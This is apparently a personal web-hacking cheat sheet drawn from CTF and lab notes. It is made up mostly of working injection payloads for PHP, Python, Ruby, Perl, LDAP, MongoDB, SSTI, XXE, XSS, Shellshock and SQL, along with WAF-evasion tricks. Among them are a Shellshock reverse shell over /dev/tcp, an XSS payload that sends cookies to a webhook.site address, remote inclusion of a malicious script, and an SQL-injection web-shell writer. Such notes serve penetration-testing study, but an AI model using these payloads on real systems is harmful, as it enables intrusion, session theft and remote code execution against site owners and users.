http://xyz.so/?ip=$(ping hack.myserver)          ..watch dns for request
http://xyz.so/?ip=$(sleep 20)                    ..took 20 sec - so it works!
http://xyz.so/?ip=$(/usr/local/bin/myApp)        ..blind!

```

## No spaces allowed

```
> cat${IFS}file.txt
{cat,file.txt}

{/root,-la}

/&pwd/&pwd
/var/task&{cat,lambda_function.py}   --works!!

{/var/log/,-la}
/var/log&{cat,yum.log}

/var/log&{ls,//var/log/yum.log}
/&{cat,/var/log/yum.log}
sbx_user1051
/&{ls,-la,/home/sbx_user1051/}

Found this hiding behind ...  instead of . ..
{/var/task/...,-la}
```

## Name Field injection

Injecting the 'name' login field - gives command injection\
Custom messages aren't vulnerable to command injection, but your 'name' is.

```
echo -e "hello\n-- COW MASTER && WHOAMI" | cowsay
echo -e "hola\n-- COW " && ECHO -E "ME"#" | cowsay

JONES ${PWD}
 ________________________________ 
< hello -- BOB JONES /app/public >
 -------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||


Attempts to parameterize b/c of array:

`H=$(LS)` ECHO ${H}
v=`ls`;echo ${v}
V=$(LS); ECHO ${V}
(V=$(LS));ECHO ${V}
(V=`LS`);ECHO ${V}
`(V=LS);ECHO ${V}`
`V=LS`;ECHO ${V,,}
`V=$(LS);ECHO ${V,,}`
`V=LS; ECHO ${V,,}`

`V=LS;${V,,}`   ..finally got it, but lowercase!!
 _____________________________________ 
/ hi -- BOB about.php css custom.php  \
| favicon-16x16.png favicon-32x32.png |
| favicon.ico includes index.php js   |
| login.php logout.php profile.php    |
\ random.php register.php             /
 ------------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||


`V="LS /";${V,,}`

 ________________________________________ 
/ hi -- BOB app bin bootstrap cowsay dev \
| etc flag home lib media mnt proc root  |
\ run sbin srv sys tmp usr var           /
 ---------------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

attempt to 'cat /flag' .. but 20 char limit
/f*  will call /flag .. this is 'splatting'

`V="cat /f*";${V,,}`   ..win !!!

 _________________________________________ 
/ hi -- BOB                               \
| FLAG{need_bett3r_san1tization}           |
\                                         /
 ----------------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||


```

## PHP Injections

```
http://abc.so/?name=hack
http://abc.so/?name=hack".system("id")."
http://abc.so/?name=hack".system("uname -a")."
http://abc.so/?name=hack".system('uname -a'); $dummy=".
http://abc.so/?name=hack".system('uname -a');#
http://abc.so/?name=hack".system('uname -a');//.

--------------------
--------------------
'usort' in PHP code.. will let you exploit the ending

http://abc.so/?order=id
http://abc.so/?order=id;}//: 
http://abc.so/?order=id));}//
http://abc.so/?order=id);}//
http://abc.so/?order=id);}system('id');// 
http://abc.so/?order=id);}system('uname -a');// 

--------------------
--------------------
PCRE_REPLACE_EVAL
deprecated as of PHP 5.5.0
preg_replace()
/e addition to the 'pattern' lets you 'evaluate' the expression

http://abc.so/?new=hack&pattern=/lamer/&base=Hello lamer
http://abc.so/?new=hack&pattern=/lamer/e&base=Hello lamer
http://abc.so/?new=phpinfo()&pattern=/lamer/e&base=Hello lamer
http://abc.so/?new=system('uname -a')&pattern=/lamer/e&base=Hello%20lamer


--------------------
--------------------
assert()

Now that we know how to finish the syntax to avoid errors, 
We can just inject our payload to run the function 
Keep playing till you get no error..

http://abc.so/?name=hack
http://abc.so/?name=hack'.'
http://abc.so/?name=hack'.phpinfo().'
http://abc.so/?name=hack'.system(id).'
http://abc.so/?name=hack'.system("uname -a").'
```

## Open Redirect

```
http://abc.so/redirect.php?uri=//www.google.com
http://abc.so/redirect.php?uri=//webhook.site/evilcode
```

## PHP Includes

* PHP normally disables loading of remote files: **allow\_url\_include**

```
--------------------
Found: 
http://abc.so/?page=intro.php   ..Warning: include(intro.php'): failed to open stream
http://abc.so/?page=intro.php'  ..Warning: include(): Failed opening 'intro.php'' for inclusion

Prep:
http://myhost/myinclude.txt         ..phpinfo()
http://myhost/myevilinc.txt        ..malicious script

Attack:
http://abc.so/?page=../../../etc/passwd
http://abc.so/?page=http://google.com
http://abc.so/?page=http://myhost/myinclude.txt
http://abc.so/?page=http://myhost/myevilinc.txt
http://abc.so/?page=http://myhost/myevilinc.txt?c=id                ..fail
http://abc.so/?page=http://myhost/myevilinc.txt&c=id                ..ok
http://abc.so/?page=http://myhost/myevilinc.txt&c=uname -a          ..ok
http://abc.so/?page=http://myhost/myevilinc.txt&c=/usr/local/myapp  ..ok

--------------------
NULL BYTE
Server is forcing php to each page
To trim off the .php suffix

http://abc.so/?page=intro
http://abc.so/?page=intro&page=http://myhost/myinclude.txt 
http://abc.so/?page=intro'                          ..Warning: include(intro'.php): failed
http://abc.so/?page=intro%00                        ..fail but clean error
http://abc.so/?page=intro.php%00                    ..ok
http://abc.so/?page=../../../../etc/passwd          ..error 'passwd.php' not found
http://abc.so/?page=../../../../../etc/passwd%00    ..ok
http://abc.so/?page=http://myhost/myinclude.txt%00  ..ok
http://abc.so/?page=http://myhost/myevilinc.txt%00&c=uname -a             ..ok
http://abc.so/?page=http://myhost/myevilinc.txt%00&c=/usr/local/bin/myapp ..ok
```

## Ruby Injections

* Ruby with 'eval' - Eval is evil
* Ruby uses \` for command execution!!
* Here, we will need to do the following:
  * A double-quote " to break out of the string.
  * Add a + sign for string concatenation (don't forget to URL-encode to %2b)
  * Add a call to the command (\[COMMAND]) we want to run using \`
  * Add another + sign for string concatenation.
  * Another double-quote " to close the one that was already there.

```
http://abc.so/?username=hack
http://abc.so/?username=hack" 

Error: 
@message = eval "\"Hello "+params['username']+"\""

http://abc.so/?username=hack"+""+"
http://abc.so/?username=hack"%2b""%2b"
http://abc.so/?username=hack"+`uname -a`+"
http://abc.so/?username=hack"%2b`uname -a`%2b"
http://abc.so/?username=hack"%2b`/usr/local/bin/myapp`%2b"
```

## Python Injections

```
--------------------
--------------------
http://abc.so/hack
http://abc.so/hack'    
http://abc.so/hack"            .. error
http://abc.so/hack""           .. ok
http://abc.so/hack"+"          .. ok
http://abc.so/hack"%2b"        .. ok
http://abc.so/hack"+"test"+"   .. ok (text injectino)
http://abc.so/hack"+str(1)+"   .. ok (python test)
http://abc.so/hack"+str(os.popen("ls"))+"
http://abc.so/hack"+str(os.popen("ls").read())+"
http://abc.so/hack"+str(os.popen("/usr/local/bin/myapp").read())+"

--------------------
--------------------
http://abc.so/hack"+str(os.system'id'))+"                         .. error
http://abc.so/hack"+str(os.popen("ls"))+"                         .. error
http://abc.so/hack"+str(__import__('os').system('id'))+"          .. ok
http://abc.so/hack"+str(__import__('os').popen('id').read())+"    .. ok
http://abc.so/hack"+str(__import__('os').popen('cat /etc/passwd').read())+"
http://abc.so/hack"+str(__import__('os').popen('/usr/local/bin/myapp').read())+"



```

## Python Injection Bypass Execution Rules

```
Encode/Decode the '/' to bypass execution rules!!

http://abc.so/hack
http://abc.so/hack"+"yes"+"                                                 .. ok
http://abc.so/hack"+str(__import__('os').system('id'))+"                    .. ok
http://abc.so/hack"+str(__import__('os').popen('uname').read())+"           .. ok
http://abc.so/hack"+str(__import__('os').popen('uname -a').read())+"        .. ok
http://abc.so/hack"+str(__import__('os').popen('cat /etc/passwd').read())+" .. error

Not working: test using # aka: comment

http://abc.so/hack"+str(__import__('os').popen('uname # test').read())+"
http://abc.so/hack"+str(__import__('os').popen('uname %23 test').read())+"         ..ok
http://abc.so/hack"+str(__import__('os').popen('uname %23 /etc/passwd').read())+"  ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 /etc').read())+" ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 /e').read())+"   ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 e').read())+"    ..ok
http://abc.so/hack"+str(__import__('os').popen('uname %23 /').read())+"    ..error

/ is blocked
Even using comment with / .. we get an error
Appears that / marks .. are blocked, so we need a workaround
http://abc.so/hack"+str(__import__('os').popen('uname %23 ok').read())+"   ..ok
http://abc.so/hack"+str(__import__('os').popen('uname %23 /').read())+"    ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 %2f').read())+"  ..error

Python Encode/Decode Payload:
import base64; b64decode(...) 
echo 'cat /etc/passwd' | base64
__import__('base64').b64decode('Y2F0IC9ldGMvcGFzc3dkCg==')

http://abc.so/hack"+str(__import__('os').popen('payload').read())+"        ..ok
http://abc.so/hack"+str(__import__('os').popen(__import__('base64').b64decode('Y2F0IC9ldGMvcGFzc3dkCg==')).read())+"
```

## Python Practice Locally

```
ASCII bits:
linux > man ascii >
/   .. to search
/ # .. to find the Hash-symbol !!  # = %23  .. / = %2f
n   .. to find NEXT
N   .. to find Previous!!

python3
>> "hacker"+str(1)+"                    .. error
>> "hacker"+str(1+1)+""                 .. ok
>> __import__('os').system('id')        .. ok one-liner os import!!
>> __import__('os').popen('id').read()  .. perfect
```

## Perl Injections

* Perl Concat using " . "
* Developer Tools > Network > Preserve Logs
* Find a back-end page running with "hello?name=hack"

```
http://abc.so/cgi-bin/hello?name=hack
http://abc.so/cgi-bin/hello?name=hack'.`uname -a`.'
http://abc.so/cgi-bin/hello?name=hack'.`/usr/local/bin/myapp`.'
```

## LDAP Injection

```
--------------------
Bypass
NULL BIND allows local users to login w/o LDAP acct

http://myldap.so/  ..try login with:
admin
admin'
admin'   
admin)
admin' or 1=1 --

Use Burp: Catch the request, remove/tweak the login
Or Chrome: Developer Tools > R.Click Copy as CURL
curl 'http://myldap.so/' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://myldap.so' -H 'Upgrade-Insecure-Requests: 1' -H 'DNT: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3' -H 'Referer: http://myldap.so/' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.9' 
--data 'username=NULL&password=NULL' --compressed --insecure
--data '' --compressed --insecure



--------------------
Advanced Bypass

http://myldap.so/
http://myldap.so/?name=admin&password=admin  .. no error 
http://myldap.so/?name=admin'&password=admin .. no error
http://myldap.so/?name=admin"&password=admin .. no error
http://myldap.so/?name=admin)&password=admin .. ')' Error! search ldap server, msg:'Bad search filter'

(&(cn=admin))(userPassword=admin))
(&(cn=admin)(cn=*))%00)(userPassword=admin))

http://myldap.so/?name=admin)(cn=*))%00&password=admin
.. Win!!
```

## MongoDB Injection

* Instead of doing every manual-match attempt... use [RubyBrute](/05-passwords-ciphers/hydra#ruby-brute-loop)

```
--------------------
--------------------
Just like SQLi
'||1==1 %00
 or yes, null byte!

http://mongo.so/?username=admin' or 1=1--%00
http://mongo.so/?username=admin&password=admin&submit=Submit
http://mongo.so/?username=admin&password=admin&submit=Submit' or 1=1 --
http://mongo.so/?username=admin'&password=admin&submit=Submit
.. Can't canonicalize query :: caused by :: SyntaxError: missing ; before statement :

http://mongo.so/?username=admin'+'&password=admin&submit=Submit
http://mongo.so/?username=admin%27%2b%27&password=admin&submit=Submit     ..'+'
http://mongo.so/?username=admin'||1==1 %00 &password=admin&submit=Submit  ..win!!


--------------------
--------------------
Manual match to find every letter

http://mongo.so/?search=admin    ..ok
http://mongo.so/?search=admin'   ..no error
http://mongo.so/?search=admin"   ..no error
http://mongo.so/?search=admin' && this.password.match(/aaa/)%00
http://mongo.so/?search=admin' %26%26 this.password.match(/aaa/)%00  ..nothing
http://mongo.so/?search=admin' %26%26 this.password.match(/d/)%00    ..nothing
http://mongo.so/?search=admin' %26%26 this.password.match(/^d/)%00   ..look for each
http://mongo.so/?search=admin' %26%26 this.password.match(/^5/)%00   ..start with 5
.. going to take forever
.. you need RubyBrute
```

## Server Side Request Forgery (SSRF)

* Allows an attacker to send commands to the localhost/server instead of normal path

```
http://abc.so/?url=https://mysite.com/hacker.txt
http://abc.so/?url=http://127.0.0.1:1234            ..worked
http://abc.so/?url=http://localhost:1234            ..worked
http://abc.so/?url=http://127.0.0.2:1234            ..2,3 also worked
http://abc.so/?url=http://017700000001:1234         ..Octal Format worked

http://abc.so/?url=http://mysite.com./hacker.txt 
.. also works with a '.' so maybe we can forge to a diff domain

You can also try faking the SUFFIX of the link.. 
Send it to a custom link that has a zone which points to 127.0.0.1, like this:
http://abc.so/?url=http://mysite.lab.link/hacker.txt 

dig blah.mysite.lab.link
127.0.0.1

http://abc.so/?url=http://mysite.com.link:1234
This proves you can fake the suffix into directing to localhost!!
```

## Server Side Template Injection (SSTI)

* Python may answer, even if page is broken
* Calculated 4 - 1 = 3 even though page not found
* <https://portswigger.net/research/server-side-template-injection>
* Example: uber.com may RCE by Flask Jinja2 Template Injection
  * <https://hackerone.com/reports/125980>
* \#1 Python > Popen ..to issue commands for us
* \#2 Twig > env.registerUndefinedFilterCallback ...to execute

```
------------------------------
Vulnerability
http://abc.so/test{{4-1}}                     .. test3
http://abc.so/test{{''.__class__}}            .. test<type 'str'>
http://abc.so/test{{''.__class__.mro()[2]}}   .. test<type 'object'>

------------------------------
Recon: Catch all the classes
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()}}

Search for Popen:
:/Popen    ..found on line 234

Numbering:
Even though our text starts at line 1.. Programming will start at '0'

------------------------------
Confirm Popen
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]}}
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("uname")}}
.. <subprocess.Popen object at 0x7fa4a74f73d0>
.. Good sign that it didnt error!

------------------------------
Python Local Troubleshooting:
Python2
>> import subprocess
>> subprocess.Popen("uname")                 .. Works! "Linux"
>> subprocess.Popen("uname -a")              .. Error
>> subprocess.Popen(["uname", "-a"])         .. Works! "Linux 4.8.17"
>> subprocess.Popen("uname -a", shell=True)  .. Works!

------------------------------
Make Popen call 'uname' and 'myapp'
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("uname")}}
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("uname -a",shell=True,stdout=-1).communicate()[0]}}
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("/usr/local/bin/myapp",shell=True,stdout=-1).communicate()[0]}}

------------------------------
Twig Example #2
http://abc.so/?name=hack{{4-1}}
http://abc.so/?name=hack{{_self}}   ... 'Twig'
http://abc.so/?name=hack{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('uname')}}
http://abc.so/?name=hack{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('/usr/local/bin/myapp')}}
```

## File Uploads

* An upload page could get you a [webshell ](/03-getting-in/03-reverseshell-php#php-web-shell)like [php](/04-webapps/php-tricks)

## XML Attack

```
--------------------
Identify:
http://abc.so/?xml=<test>hacker</test>

--------------------
Detail:
XML Entity can be declared:
<!ENTITY x SYSTEM "file:///etc/passwd">

You will need to envelope this properly, in order to get it to work correctly:
<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]>

Then use the reference to x:  &x; 
(don't forget to encode &) 
.. and get the result inserted in the XML document during its parsing (server side).

--------------------
Exploit:
http://abc.so/?xml=<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]><test>&x;</test>
http://abc.so/?xml=<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]><test>%26x;</test>
```

## XPath Injection

* Another XML Attack
* Similar to [SqlInjection](/04-webapps/03-webapp-sqli)

```
http://abc.so/?name=hack&password=secret
http://abc.so/?name=hack']%00&password=secret  ..with NULL Byte
http://abc.so/?name=hack']/parent::*/child::node()%00&password=secret
http://abc.so/?name=hack' or 1=1]/parent::*/child::node()%00&password=secret

' and '1'='1  .. error
' or '1'='0   .. error
' and '1'='0  .. no results
' or '1'='1   .. ok
```


# Javascript

## Webpage 'Maze' challenge

* Inspect Elements
* Inspecter > Script > View the JavaScript
* Write an updated Function (similar to the original) that doesnt do a rule-check

```
function canMoveTo(destX, destY) {
   var imgData = context.getImageData(destX, destY, 15, 15);
   var data = imgData.data;
   var canMove = 1; // 1 means: the rectangle can move
   return canMove;
}
```

* Console Tab > Paste your 'function' there, and click 'run'!
* Now you can move anywhere you want!

## XSS

* **Javascript** Injections (also: [WebInjections](/04-webapps/03-webapp))
* Goal is to pop an alert
* Tricks to Avoid filters that might:
  * Block 'script' but not 'sCript'
  * Trim \<script> but not recursive \<sc\<script>ript>
  * Blacklisted but can still create an error that Pops
  * Block 'alert' but can concat using 'eval'
  * Block 'alert' but allow String fromCharCode
  * Inject new JavaSript using 'Inspect Elements'
  * Mistake in code allows us to trust index.php

```
--------------------
http://abc.so/index.php?name=hack
http://abc.so/index.php?name=hack<script>
http://abc.so/index.php?name=hack<script></script>
http://abc.so/index.php?name=hack<h1>TEST</h1>
http://abc.so/index.php?name=hack<script>alert(1)</script>
http://abc.so/index.php?name=hack<script>alert('flag')</script>

--------------------
http://abc.so/index.php?name=hack%3Cscript%3Ealert(%27flag%27)%3C/script%3E
http://abc.so/index.php?name=hack<sc<script>ript>alert('flag')</sc</script>ript>

--------------------
http://abc.so/index.php?name=hack<a href='javascript:alert(1)'>test</a>
http://abc.so/index.php?name=hack<a onmouseover='alert(1)'>test</a>
http://abc.so/index.php?name=hack<img src="zzz.jpg" onerror='alert('flag')'></img>
http://abc.so/index.php?name=hack%3Cimg%20src=%22zzz.jpg%22%20onerror=%27alert(flag)%27%3E%3C/img%3E

--------------------
http://abc.so/index.php?name=hack<script>eval("al"+"ert(flag)")</script> 
http://abc.so/index.php?name=hack<script>eval("al"%2b"ert(flag)")</script>

String.fromCharCode(97,108,101,114,116,40,49,41)  ..."alert(1)"

--------------------
Inspect Elements
Inject an alert into the existing javascript!
<div class="row">
<div class="col-lg-12">
<h1>XSS</h1>
 <p>Welcome!
 <script>
 var $a= "hacker";
 </script>
 </p>

http://abc.so/index.php?name=";alert(1);var a="        ..works
http://abc.so/index.php?name=";alert(1);"              ..works
http://abc.so/index.php?name=";alert('flag');"         ..works

--------------------
http://abc.so/index.php?name=";alert('flag');"         ..err
http://abc.so/index.php?name=';alert('flag');'         ..works
http://abc.so/index.php?name=%27;alert(%27flag%27);%27 ..win!

--------------------
Mistake in the code is trusting index.php
So we send index.php/somethingelse  .. at the end, to fire a script!
http://abc.so/index.php/hello"><script>alert(1)</script>
http://abc.so/index.php/hello%22%3E%3Cscript%3Ealert(1)%3C/script%3E
http://abcl.so/index.php/hello"><script>alert('flag')<script>

--------------------
decodeURIComponent
Browsers have this issue fixed (used to work often)
http://abc.so/index.php#hacker
http://abc.so/index.php#<script>alert(1)</script>
http://abc.so/index.php#<script>alert('flag')</script>

--------------------
Cookie Grab Flag
http://abc.so/index.php?name=hack
http://abc.so/index.php?name=<script>alert(1)</script>   ..ok
<img srv="https://myserver/?c=COOKIE" />                 ..want this cookie
<script>document.write('<img srv="https://myserver/?c='+document.cookie+'" />')</script>
http://abc.so/index.php?name=<script>document.write('<img src="https://myserver/?c='%2bdocument.cookie%2b'" />')</script>
http://abc.so/index.php?name=<script>document.write('<img src="http://webhook.site/6d4c04c4-07a3-4892-8bb3-78f27c7d5aff/?c='%2bdocument.cookie%2b'" />')</script>
http://webhook.site/6d4c04c4-07a3-4892-8bb3-78f27c7d5aff
http://webhook.site/6d4c04c4-07a3-4892-8bb3-78f27c7d5aff?c=SECRET%3flag
```


# Shellshock

## Finding Shellshock

* /cgi-sys
* /cgi-mod
* /cgi-bin

```
> dirb http://10.129.88.173
    .. http://10.129.88.173/cgi-bin/        ..found/forbidden
    .. http://10.129.88.173/server-status/  ..found/forbidden

> dirb http://10.129.88.173/cgi-bin/ -X .sh
> dirb http://10.129.88.173/cgi-bin/ -X .sh,.php,.cgi,.pl,.py 
    .. http://10.129.88.173/cgi-bin/user.sh   ..found!

nmap 
didnt help at all:
> nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.129.88.173

try this next time
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/vulnscript.sh 10.x.x.x


gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56 -f 
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56/cgi-bin/ -x sh,cgi,pl,py,php

-f: flag appends / to end of directory 
-x: file extensions to search for
```

## Exploiting Shellshock

```
nc -nvlp 4444

User-Agent: () { :; }; /bin/bash -c 'ping -c 3 $MyIP:4444'


curl -H 'User-Agent: () { :; }; /bin/bash -c 'ping -c 3 $MyIP:4444'' http://$IP:10000/session_login.cgi
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" http://$IP/cgi-bin/user.sh
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://$IP/cgi-bin/user.sh
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$MyIP/4444 0>&1" http://$IP/cgi-bin/user.sh
nc -nvlp 4444  ..Connected!
```

## Blind Shellshock

* CGI might be vulnerable, even if your scan didnt find report it
* **'searchsploit webmin'** .. Results with 'cgi' - might be vulnerable
* Find the cgi page, like 'session\_login.cgi'
* Might be hiding on 'view source'
* Send it through burp/repeater for the injection
* REF: [beephtb](/04-webapps/03-shellshock)

```
User-Agent:
() { :; };/bin/echo hello   ..no results, may still be a blind injection
() { :; }; sleep 10         ..if it sleeps, it is vuln
() { :; }; bash -i >& /dev/tcp/10.10.14.73/4444 0>&1

nc -nvlp 4444  ..Connected!
```


# SQL Injections (sqli)

## Basics

```
http://xyz.com/hello.php?id=1 and 1=2 union select 1,2,3
```

**Falsify the First:**\
Read the Basic-Statement carefully.\
We mash a second ‘select’ statement onto the first.. to give us a New result!\
Using 'and 1=2' forces the first half of the query = False\
This will Force the query to ignore the first, and only see our 'hacker select'

**Union:**\
The 'Union' command in SQL is used to Join two separate full select statements.\
So we call 'select 1,2,3' just as a 'test' to see if Injection works.\
select 1,2,3 would give us a result of 1,2,3 (it's not actually calling any data).\
But, "select \* from teachers where id = 20" would give us data

**Functions:**\
You can 'select' in SQL to get function information:\
select user()\
select version()

**Column Counts:**\
If your query is complaining about columns.. you can add them:\
select datax, dataz, 3,4,5 .. or however many you need to add (remember 3,4,5 arent giving real data)

## **Quote Guessing:**

* Sometimes the quote markings are different depending on how the query is written. \*\*\*\*You will need to experiment with single-quotes and double-quotes, and comments. A comment is: -- Just two dashes put together. Everything after is ignored.
* Sorry but - You will need to keep guessing different selects and quotes.. till you get it! This is a labor of love ... SQL Injection!
* ALWAYS use a (space) after -- COMMENT .. ex: **"1=1 -- "**

```
'OR '1' = 1
' OR '1'='1
' OR '1'='1' {
' OR '1'='1' /* 
' OR '1'='1' --
' OR 1=1' --
' OR 1=1 --
" OR 1=1 -- 
' OR 1=1 LIMIT 1 --
") OR 1=1 --       
") OR "1"="1" --   
'OR1=1#            

http://xyz.com/hello.php?id=1 AND 1=2 UNION SELECT 1,2,3
http://xyz.com/hello.php?id=1 AND 1=2 UNION SELECT 1,2,3--
http://xyz.com/hello.php?id=1 AND 1=2 'UNION SELECT 1,2,3,4'--
http://xyz.com/hello.php?id=1' AND 1=2 UNION SELECT 1,2,3,4--'
http://xyz.com/hello.php?id=1 AND 1=2' UNION SELECT "a","b"--'
http://xyz.com/hello.php?id=1' AND 1=2 UNION SELECT database(),user(),version() --
http://xyz.com/hello.php?id=1 AND 1=2' UNION SELECT "../etc/somefile","b"--'

admin'||1=1#               .. MySql '||' means 'or' .. so no space needed!
admin'||1#
```

## **Inspect:**

Sometimes an Injection works, but does not show up on screen.\
Get familiar with your Browser 'Inspect Elements'..\
You might just my find your Injection was successful!!

## **Trimming:**

Some sites protect against hacking through trimming.\
If a website got smart a tried to remove anything in the query spelled 'select'?\
Sending the word 'selselectect' \*\*\*\*.. gets trimmed to 'select'!!\
Or, if the filter is trimming the word: 'on'\
We could combat this by adding another 'on' for the word 'union' .. into 'unionon'\
After it is trimmed, the statement still reads 'union'\
What if your target is trimming for 'spaces'? That could be a real headache.\
Try using %09 (meaning 'tab' character) instead of a space. This might get you around it!

```
Page is Blocking 'Space' to stop injections
Use %09 (aka: TAB) to get around it!
Error no Space? Space marks are blocked.. to prevent injections
admin' or 1=1 -- 
Using Burp:
Substitute Space with %09 (aka: 'Tab')
username=admin%27+or+1%3D1+--+&password=passwd
username=admin%27%09or%091%3D1%09--%09password=passwd
```

## Pulling Data from other Tables

```
Find other tables:
SELECT table_schema, table_name FROM information_schema.TABLES 
Metadata'and 1 = 2 union select 1,table_schema, GROUP_CONCAT(table_name SEPARATOR ', ') FROM information_schema.TABLES -- 

Find columns in the 'secrets' table:
select column_name, table_name FROM information_schema.columns
Metadata'and 1 = 2 union SELECT 1,GROUP_CONCAT(column_name SEPARATOR ', '), table_name FROM information_schema.columns WHERE TABLE_NAME = 'secrets' -- 

select pwn from secrets:
Metadata'and 1 = 2 union SELECT 1,eat, GROUP_CONCAT(pwn SEPARATOR ', ') FROM secrets --

select weird column named '*'
Metadata'and 1 = 2 union SELECT 1,2,GROUP_CONCAT(`*` SEPARATOR ', ') FROM secrets -- 
Metadata'and 1 = 2 union SELECT 1,2,`*` FROM secrets WHERE `*` like 'MYDATA%' -- 
```

## PHP Injections

```
Create a file to execute a ping:

" union select "<?php system(\"ping -c 4 10.10.10.60\");","","","","","" into outfile "/var/www/html/filename.php" #
" union select "<?php system(\"echo '<pre>'; ping -c 4 10.10.10.60\");","","","","","" into outfile "/var/www/html/filename.php" #


Make a command injection page:

" union select "<?php if (isset($_REQUEST['cmd'])){ echo '<pre>'; system($_REQUEST['cmd']); echo '</pre>'; } ?><form action=<?php echo basename($_SERVER['PHP_SELF'])?>> <input type=text name=cmd size=20> <input type=submit></form>","","","","","" into outfile "/var/www/html/filename.php" #
```

## Zixem CTF

* <http://www.zixem.altervista.org/SQLi/>
* 3 - trimming
* 4 - columns
* 5 - Brute-loops: [hydrabrutes](/05-passwords-ciphers/hydra#brute-loop)
* 6 - Blind
* 8 - Spaces are blocked, select trimmed
* 9 - file: /etc/passwd

## SQLi GBK China

* Rare, but interesting: GBK Charset for China
* Conflict between php and sql Implemented badly, will allow bypass for injection!
* 2006 method to bypass addslashes
* It relies on the way MySQL will perform escaping. It will depend on the charset used by the connection. If the database driver is not aware of the charset used it will not perform the right escaping and create an exploitable situation. This exploit relies on the usage of GBK. GBK is a character set for simplified Chinese. Using the fact that the database driver and the database don't "talk" the same charset, it's possible to generate a single quote and break out of the SQL syntax to inject a payload.

```
Using the string \xBF' (URL-encoded as %bf%27), it's possible to get a 
single quote that will not get escaped properly. 
It's therefore possible to inject an always-true condition using 

%bf%27 or 1=1 -- and bypass the authentication.

This issue can be remediated by setting up 
the connection encoding to 'GBK' instead of using an SQL query 
(which is the source of this issue). 
Here the problem comes from 
the execution of the following query:

SET CHARACTER SET 'GBK';
It is a pretty unlikely issue for a web application but still good to know!

Burp
username=admin&password=test                   ..normal
username=admin%bf%27&password=test             ..escaped
username=admin%bf%27+or+1=1+--+&password=test  ..with injection, worked!!!
```

##


# SQLMap

## Probe to find the Front-End DB

```
sqlmap -u "http://xyz.com/index.php" --data "username=test&password=test&submit=Submit" --method=POST --level=3 --dbms=mysql --dbs 

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp   ..Answer!
```

## Discover OS

```
sqlmap -u http://xyz.com/ --data="username=test&password=test&debug=false"
sqlmap -u http://xyz.com/ --data="username=test&password=test&debug=false" --level=45
sqlmap -u http://xyz.com --data="username=test&password=test&debug=false" --method POST --os-shell
sqlmap -u http://xyz.com --data="username=test&password=test&submit=Submit" --method POST --os-shell

```

## Favorites

```
sqlmap -u http://$IP/login/php --data="username=test&passwd=test&submit=Submit" --method POST --dbs --batch
sqlmap -u http://$IP/login.php --data="username=test&passwd=test&submit=Submit" --method POST --os-shell
```

## Attempt

```
sqlmap -u http://$IP/staff_search.php?search=bob --dump -D website -T users
```


# WAF

## See Also:

* [CharEvasionTricks](/03-getting-in/char-evasion-tricks), [WebInjections](/04-webapps/03-webapp)

## Char Evasion 'spaces'

```
{ls,-la,/root}
{cat,file.txt}
cat${IFS}file.txt

/&pwd/&pwd
/var/task&{cat,secret.py}

{/var/log/,-la}
/var/log&{cat,yum.log}
/var/log&{ls,//var/log/yum.log}
/&{cat,/var/log/yum.log}
/&{ls,-la,/home/target/}

Found this hiding behind ...  instead of . ..
{/var/task/...,-la}
```

## WAF Wars

* The bash shell allows wildcards.
* These can be helpful to run commands that may be blocked by the WAF.
* There are many functions that can manipulate text.
* Try looking at the man pages for iconv or cut.

```
ls -la /secrets

$cmd = "ls -la /secrets" && $output = shell_exec($cmd);
$c=p $m=w $d=d && $output = shell_exec($c$m$d);

ls -la /secrets
/???/?s
/bin/ps

/???/?s /s?????s
"flag","f","l","a","g"
/???/??t 

$egress_ruleset = array("BLAB","{","}",
"flag","secret","password","ssn","confidential");

file
flag
password
pins
ssn

/???/??t ./pins
/???/c?t 
/???/?s         ..ls works
/???/e??o hi    ..echo works!!!
/???/c?t /s?????s/
/u??/???/?s   ..might be 'ls' ?
/u??/???/c?t   ..might be 'cat' ?
/u??/???/c?t -c1  /s????ts/????

Answer:
cut -b8-30

/u??/???/c?t -b1-5  /s????ts/????
/u??/???/c?t -b8-30  /s????ts/????

FLAG{waf_3vision_w1n}
```


# Webmin

## Shellshock

* Webmin may have [shellshock](/04-webapps/03-shellshock) vulnerability!
* Look for a CGI file
